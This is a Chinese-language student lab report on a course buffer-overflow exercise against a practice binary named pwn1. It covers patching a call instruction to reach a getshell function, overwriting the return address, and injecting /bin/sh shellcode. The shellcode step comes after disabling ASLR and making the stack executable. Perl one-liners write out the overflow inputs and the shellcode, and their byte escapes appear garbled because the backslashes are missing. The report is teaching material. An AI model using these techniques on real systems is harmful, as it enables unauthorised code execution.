一、 直接修改程序机器指令,改变程序执行流程
1.首先下载pwn1.zip到pc和kali的共享文件夹下
然后在kali的/mnt/hgfs/下的共享文件夹下,用unzip命令和mv命令解压和移动pwn1文件至实验exp1文件下。
2.了解pwn1的作用
命令行输入objdump -d pwn1
pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞
3.修改程序机器指令
在上面照片标红的地方,我们可以看到
80484b5: e8 d7 ff ff ff call 8048491
根据老师的实验指导书,将调用的foo函数改为getshell,即修改原地址d7ffffff为c3ffffff
4.修改d7ffffff为c3ffffff
但是出现了问题!
问题是在以16进制浏览pwn2时,发现并不能按照老师的指导书,通过/e8d7
找到。
因为e8 和d7分开了,所以并没有检测到,所以我们通过/d7ff找到。
修改成c3ff。
注意:此时还需要转换为原格式 :%!xxd -r再保存退出
5.再通过objdump -d pwn2查看是否修改成功
显示修改成功
6.效果
./pwn2
二、通过构造输入参数,造成BOF攻击,改变程序执行流
1.反汇编pwn,了解程序的基本功能
NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
JE:结果为零(或相等)则跳转。对应的机器码为74。
JMP:无条件跳转。对应的机器码为对应的eb。
CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
。对应的机器码为83。
2.确认输入字符串哪几个字符会覆盖到返回地址
通过分析上面两个eip 内容分别为0x34535535和0x34333231,
也就是说明我们应该将getshell函数的入口地址放在第二次输入1234的位置。
3.构造输入字符串
于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。
4.通过管道符|,将input文件作为pwn1的输入
可以通过ls来查看当前文件夹下的内容
三、注入Shellcode并执行!!!以下内容已经跨过大坑,可放心食用
1.准备工作
先利用apt-get install execstack命令安装execstack软件包
修改些设置。
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行X pwn1
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2.构造要注入的payload
注意!!!
直接复制使用这段shellcode即可
perl -e 'print "A" x 32;print "x1x2x3x4x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
这样我们就得到了一个input_shellcode
3.终端注入这段攻击buf并调试进程
终端注入这段攻击buf
(cat input_shellcode;cat) | ./pwn1
再开另外一个终端,用gdb来调试pwn1这个进程。
ps -ef | grep pwn1
启动gdb调试这个进程
attach 上面图片标记的地址
注:每个人都不一样
显示第二个红线标记的内容才算成功哦
注意:在第一个终端,一定不要先按回车,要不然ps -ef | grep pwn1会找不到进程
info r esp
会得到esp的地址 address_A
x/16x "address_A'
gdb的x命令,查看内存
格式:x /nfu
16x是以16进制格式哦
就会发现0x04030201啦!!!
"address_A'就是返回地址的位置,在我这里是0xffffd6ec。shellcode就挨着,所以地址是0xffffd6f0
0xffffd6ec+4=0xffffd6f0???应该是这样的
高士淳自说自语的安慰自己找到了真相
4.试一下就成功的
然后就是将shellcode改一下,把之前的4321改成d6f0的地址
perl -e 'print "A" x 32;print "xf0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
再输入
(cat input_shellcode;cat) | ./pwn1
回车之后就可以执行命令了,比如说pwd
5.结合nc模拟远程攻击
意思就是两个linux做实验,A为靶机(kali),B为攻击机(ubuntu)
nc是啥?
nc命令的作用
实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
端口的扫描,nc可以作为client发起TCP或UDP连接
机器之间传输文件
!!!雷区提醒
只能在本机两个ter互相玩,没法两个机器互相玩,
会提示Segmentation fault,也就是溢出。
四、回答问题
- 实验收获与感想
本次实验主要内容是针对缓冲区溢出进行攻击,修改返回值,但是前提条件是有漏洞,也就是老师开篇提到的Buffer overflow漏洞,个人理解就是攻击者可以用超出分配内存的部分,执行一些命令。
本次实验老师要求的内容是到第四部分,网络对抗,是有攻击,有防御,所以存在针对缓存区溢出攻击的防御方法,Bof攻击防御技术。
2.什么是漏洞?漏洞有什么危害?
漏洞是啥呢?不清楚啊,大家都在说漏洞有危害,漏洞很可怕,但是漏洞具体是啥呢?SQL注入?缓冲区溢出?我也不清楚,我觉得应该是程序员留下的逻辑上的、物理硬件上的缺陷,攻击者为了一些目的,揪着程序员们的小毛病,挑刺。不过不可否认的是,一门艺术,就应该有交流,有来有回,有攻有防,这样才能发展迅速,就像冷战的苏美?甘于平凡的我发出不甘的叫喊,真烦,我还得多学一门课。
漏洞有啥危害?!!!本人菜,密码弱,腾讯云的服务器被干了,密码被人改了,写的菜鸡代码被人删了,算不算危害?如果这算的话,我觉得我和漏洞势不两立,所以密码弱算不算漏洞?如果不算的话,那好像目前没遇到被人用漏洞攻击的事情,道听途说,网上见闻的漏洞事件很多,但是没遇到过,所以也没切身感受过漏洞的危害,我想话筒还是留给受害人的好。